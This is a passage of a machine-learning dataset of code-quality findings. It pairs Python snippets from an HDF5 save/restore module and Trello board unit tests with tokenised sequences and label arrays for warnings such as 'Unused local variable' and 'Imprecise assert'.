"_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dm_", "=_", "mean", "func_", "._", "get", "Der", "Matrix_", "(_", "x_", ",_", "ii_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "mean_", "[_", "ii_", "]_", "=_", "-_", "np_", "._", "dot_", "(_", "dl", "Z_", "._", "T_", ",_", "dm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "mean_", "[_", "ii_", "]_", "=_", "dn", "l", "Z_", "._", "mean_", "[_", "ii_", "]_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "post_", ",_", "nl", "Z_", "[_", "0_", ",_", "0_", "]_", ",_", "dn", "l", "Z_", "\\u\\u\\uNEWLINE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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
xraypy/xraylarch/plugins/io/save_restore.py
[ { "content": " def add_data(self, group, name, data):\n if self.isgroup(data):\n g = self.add_h5group(group, name,\n attrs={'larchtype': 'group',\n 'class': data.__class__.__name__})\n for comp in dir(data):\n self.add_data(g, comp, getattr(data, comp))\n elif isinstance(data, (list, tuple)):\n dtype = 'list'\n if isinstance(data, tuple): dtype = 'tuple'\n g = self.add_h5group(group, name, attrs={'larchtype': dtype})\n for ix, comp in enumerate(data):\n iname = 'item%i' % ix\n self.add_data(g, iname, comp)\n elif isinstance(data, dict):\n g = self.add_h5group(group, name, attrs={'larchtype': 'dict'})\n for key, val in data.items():\n self.add_data(g, key, val)\n elif isParameter(data):\n g = self.add_h5group(group, name, attrs={'larchtype': 'parameter'})\n self.add_h5dataset(g, 'json', data.asjson())\n else:\n d = self.add_h5dataset(group, name, data)", "metadata": "root.H5PySaveFile.add_data", "header": "['class', 'H5PySaveFile', '(', 'object', ')', ':', '___EOS___']", "index": 72 }, { "content": "@ValidateLarchPlugin\ndef restore(fname, group=None, _larch=None):\n \"\"\"restore groups and data from an hdf5 Larch Save file\n\n restore(fname, group=None)\n\n Parameters\n ----------\n fname name of output Larch save file (required)\n group top-level group to put data in [None]\n\n Returns\n -------\n top-level grouop containing restored subgroups and data.\n\n If group is None, a group will be created and returned.\n\n See Also: save()\n \"\"\"\n symtable = _larch.symtable\n msg = _larch.writer.write\n fh = h5py.File(fname, 'r')\n\n if fh.attrs.get('datatype', None) != 'LarchSaveFile':\n msg(\"File '%s' is not a valid larch save file\\n\" % fname)\n return\n create_group = _larch.symtable.create_group\n\n from larch_plugins.xafs import (FeffPathGroup, FeffDatFile,\n FeffitDataSet, TransformGroup)\n\n def make_group(h5group):\n creators = {'TransformGroup': TransformGroup,\n 'FeffDatFile': FeffDatFile,\n 'FeffitDataSet': FeffitDataSet,\n 'FeffPathGroup': FeffPathGroup}\n gtype = h5group.attrs.get('class', None)\n return creators.get(gtype, create_group)(_larch=_larch)\n\n def get_component(val):\n if isinstance(val, h5py.Group):\n ltype = val.attrs.get('larchtype', None)\n if ltype == 'group':\n me = make_group(val)\n for skey, sval in val.items():\n setattr(me, skey, get_component(sval))\n return me\n elif ltype == 'parameter':\n kws = json.loads(val['json'].value)\n if kws['expr'] is not None:\n kws.pop('val')\n kws['_larch'] = _larch\n return Parameter(**kws)\n elif ltype in ('list', 'tuple'):\n me = []\n for skey, sval in val.items():\n me.append(get_component(sval))\n if ltype == 'tuple':\n me = tuple(me)\n return me\n elif ltype == 'dict':\n me = {}\n for skey, sval in val.items():\n me[skey] = get_component(sval)\n return me\n elif isinstance(val, h5py.Dataset):\n return val.value\n\n # walk through items in hdf5 save file\n if group is None:\n group = create_group()\n for key, val in fh.items():\n setattr(group, key, get_component(val))\n fh.close()\n return group", "metadata": "root.restore", "header": "['module', '___EOS___']", "index": 142 } ]
[ { "span": "d ", "start_line": 94, "start_column": 12, "end_line": 94, "end_column": 13 }, { "span": "symtable ", "start_line": 161, "start_column": 4, "end_line": 161, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "H", "5", "Py", "Save", "File_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "data_", "(_", "self_", ",_", "group_", ",_", "name_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "is", "group_", "(_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", "=_", "self_", "._", "add", "\\u", "h5", "group_", "(_", "group_", ",_", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "attrs_", "=_", "{_", "'", "lar", "cht", "ype", "'_", ":_", "'", "group", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "class", "'_", ":_", "data_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "comp_", "in_", "dir_", "(_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "add", "\\u", "data_", "(_", "g_", ",_", "comp_", ",_", "getattr_", "(_", "data_", ",_", "comp_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "data_", ",_", "(_", "list_", ",_", "tuple_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dtype_", "=_", "'", "list", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "data_", ",_", "tuple_", ")_", ":_", "dtype_", "=_", "'", "tuple", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "self_", "._", "add", "\\u", "h5", "group_", "(_", "group_", ",_", "name_", ",_", "attrs_", "=_", "{_", "'", "lar", "cht", "ype", "'_", ":_", "dtype_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ix_", ",_", "comp_", "in_", "enumerate_", "(_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "iname", "_", "=_", "'", "item", "%", "i", "'_", "%_", "ix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "data_", "(_", "g_", ",_", "iname", "_", ",_", "comp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "data_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", "=_", "self_", "._", "add", "\\u", "h5", "group_", "(_", "group_", ",_", "name_", ",_", "attrs_", "=_", "{_", "'", "lar", "cht", "ype", "'_", ":_", "'", "dict", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", ",_", "val_", "in_", "data_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "add", "\\u", "data_", "(_", "g_", ",_", "key_", ",_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "is", "Parameter_", "(_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", "=_", "self_", "._", "add", "\\u", "h5", "group_", "(_", "group_", ",_", "name_", ",_", "attrs_", "=_", "{_", "'", "lar", "cht", "ype", "'_", ":_", "'", "parameter", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "h5", "dataset_", "(_", "g_", ",_", "'", "json", "'_", ",_", "data_", "._", "as", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "=_", "self_", "._", "add", "\\u", "h5", "dataset_", "(_", "group_", ",_", "name_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Validate", "Lar", "ch", "Plugin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "restore_", "(_", "fname_", ",_", "group_", "=_", "None_", ",_", "\\u", "lar", "ch_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "restore", " ", "group", "s", " ", "and", " ", "data", " ", "from", " ", "an", " ", "hdf5", " ", "Lar", "ch", " ", "Save", " ", "file", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "restore", "(", "fname", ",", " ", "group", "=", "Non", "e", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", "fname", " ", " ", " ", "name", " ", "of", " ", "output", " ", "Lar", "ch", " ", "save", " ", "file", " ", "(", "require", "d", ")", "\\", "10", ";", " ", " ", " ", "group", " ", " ", " ", "top", "-", "level", " ", "group", " ", "to", " ", "put", " ", "data", " ", "in", " ", "[", "Non", "e", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", "Return", "s", "\\", "10", ";", " ", " ", " ", "-------", "\\", "10", ";", " ", " ", " ", "top", "-", "level", " ", "grou", "op", " ", "contain", "ing", " ", "restore", "d", " ", "subgroup", "s", " ", "and", " ", "data", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", "If", " ", "group", " ", "is", " ", "Non", "e", ",", " ", "a", " ", "group", " ", "will", " ", "be", " ", "created", " ", "and", " ", "return", "ed", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", "See", " ", "Al", "so", ":", " ", " ", "save", "()", "\\", "10", ";", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "symt", "able_", "=_", "\\u", "lar", "ch_", "._", "symt", "able_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "\\u", "lar", "ch_", "._", "writer_", "._", "write_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fh_", "=_", "h5py_", "._", "File_", "(_", "fname_", ",_", "'", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "fh_", "._", "attrs_", "._", "get_", "(_", "'", "datatype", "'_", ",_", "None_", ")_", "!=_", "'", "Lar", "ch", "Save", "File", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "(_", "\"", "File", " ", " ", "'%", "s", "'", " ", "is", " ", "not", " ", "a", " ", "valid", " ", "lar", "ch", " ", "save", " ", "file", "\\\\", "n", "\"_", "%_", "fname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create", "\\u", "group_", "=_", "\\u", "lar", "ch_", "._", "symt", "able_", "._", "create", "\\u", "group_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "lar", "ch", "\\u", "plugins_", "._", "xa", "fs_", "import_", "(_", "Fe", "ff", "Path", "Group_", ",_", "Fe", "ff", "Dat", "File_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Fe", "ffi", "t", "Data", "Set_", ",_", "Transform", "Group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "make", "\\u", "group_", "(_", "h5", "group_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "creat", "ors_", "=_", "{_", "'", "Transform", "Group", "'_", ":_", "Transform", "Group_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Fe", "ff", "Dat", "File", "'_", ":_", "Fe", "ff", "Dat", "File_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Fe", "ffi", "t", "Data", "Set", "'_", ":_", "Fe", "ffi", "t", "Data", "Set_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Fe", "ff", "Path", "Group", "'_", ":_", "Fe", "ff", "Path", "Group_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gtype", "_", "=_", "h5", "group_", "._", "attrs_", "._", "get_", "(_", "'", "class", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "creat", "ors_", "._", "get_", "(_", "gtype", "_", ",_", "create", "\\u", "group_", ")_", "(_", "\\u", "lar", "ch_", "=_", "\\u", "lar", "ch_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "component_", "(_", "val_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "val_", ",_", "h5py_", "._", "Group_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lty", "pe_", "=_", "val_", "._", "attrs_", "._", "get_", "(_", "'", "lar", "cht", "ype", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "lty", "pe_", "==_", "'", "group", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "me_", "=_", "make", "\\u", "group_", "(_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "skey", "_", ",_", "sval", "_", "in_", "val_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "setattr_", "(_", "me_", ",_", "skey", "_", ",_", "get", "\\u", "component_", "(_", "sval", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "me_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "lty", "pe_", "==_", "'", "parameter", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kws_", "=_", "json_", "._", "loads_", "(_", "val_", "[_", "'", "json", "'_", "]_", "._", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "kws_", "[_", "'", "expr", "'_", "]_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "kws_", "._", "pop_", "(_", "'", "val", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kws_", "[_", "'\\u", "lar", "ch", "'_", "]_", "=_", "\\u", "lar", "ch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Parameter_", "(_", "**_", "kws_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "lty", "pe_", "in_", "(_", "'", "list", "'_", ",_", "'", "tuple", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "me_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "skey", "_", ",_", "sval", "_", "in_", "val_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "me_", "._", "append_", "(_", "get", "\\u", "component_", "(_", "sval", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "lty", "pe_", "==_", "'", "tuple", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "me_", "=_", "tuple_", "(_", "me_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "me_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "lty", "pe_", "==_", "'", "dict", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "me_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "skey", "_", ",_", "sval", "_", "in_", "val_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "me_", "[_", "skey", "_", "]_", "=_", "get", "\\u", "component_", "(_", "sval", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "me_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "val_", ",_", "h5py_", "._", "Dataset_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "val_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "walk", " ", "through", " ", "items", " ", "in", " ", "hdf5", " ", "save", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "group_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "group_", "=_", "create", "\\u", "group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "key_", ",_", "val_", "in_", "fh_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setattr_", "(_", "group_", ",_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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
sarumont/py-trello/test/test_board.py
[ { "content": " def test70_all_members(self):\n self.assertTrue(len(self._board.all_members()) > 0)", "metadata": "root.TrelloBoardTestCase.test70_all_members", "header": "['class', 'TrelloBoardTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 115 }, { "content": " def test71_normal_members(self):\n self.assertTrue(len(self._board.normal_members()) >= 0)", "metadata": "root.TrelloBoardTestCase.test71_normal_members", "header": "['class', 'TrelloBoardTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 118 }, { "content": " def test72_admin_members(self):\n self.assertTrue(len(self._board.admin_members()) > 0)", "metadata": "root.TrelloBoardTestCase.test72_admin_members", "header": "['class', 'TrelloBoardTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 121 }, { "content": " def test73_owner_members(self):\n members = self._board.owner_members()\n self.assertTrue(len(members) > 0)\n member = members[0].fetch()\n self.assertNotEqual(member.status, None)\n self.assertNotEqual(member.id, None)\n self.assertNotEqual(member.bio, None)\n self.assertNotEqual(member.url, None)\n self.assertNotEqual(member.username, None)\n self.assertNotEqual(member.full_name, None)\n self.assertNotEqual(member.initials, None)\n member2 = self._trello.get_member(member.id)\n self.assertEqual(member.username, member2.username)", "metadata": "root.TrelloBoardTestCase.test73_owner_members", "header": "['class', 'TrelloBoardTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 124 } ]
[ { "span": "self.assertTrue(len(self._board.all_members()) > 0)", "start_line": 116, "start_column": 8, "end_line": 116, "end_column": 59 }, { "span": "self.assertTrue(len(self._board.normal_members()) >= 0)", "start_line": 119, "start_column": 8, "end_line": 119, "end_column": 63 }, { "span": "self.assertTrue(len(self._board.admin_members()) > 0)", "start_line": 122, "start_column": 8, "end_line": 122, "end_column": 61 }, { "span": "self.assertTrue(len(members) > 0)", "start_line": 126, "start_column": 8, "end_line": 126, "end_column": 41 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Tre", "llo", "Boa", "rd", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "7", "0", "\\u", "all", "\\u", "members_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "len_", "(_", "self_", "._", "\\u", "board_", "._", "all", "\\u", "members_", "(_", ")_", ")_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tre", "llo", "Boa", "rd", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "7", "1", "\\u", "normal", "\\u", "members_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "len_", "(_", "self_", "._", "\\u", "board_", "._", "normal", "\\u", "members_", "(_", ")_", ")_", ">=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tre", "llo", "Boa", "rd", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "7", "2", "\\u", "admin", "\\u", "members_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "len_", "(_", "self_", "._", "\\u", "board_", "._", "admin", "\\u", "members_", "(_", ")_", ")_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tre", "llo", "Boa", "rd", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "7", "3", "\\u", "owner", "\\u", "members_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "members_", "=_", "self_", "._", "\\u", "board_", "._", "owner", "\\u", "members_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "members_", ")_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "member_", "=_", "members_", "[_", "0_", "]_", "._", "fetch_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "member_", "._", "status_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "member_", "._", "id_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "member_", "._", "bio_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "member_", "._", "url_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "member_", "._", "username_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "member_", "._", "full", "\\u", "name_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "member_", "._", "initials", "_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "member", "2_", "=_", "self_", "._", "\\u", "trell", "o_", "._", "get", "\\u", "member_", "(_", "member_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
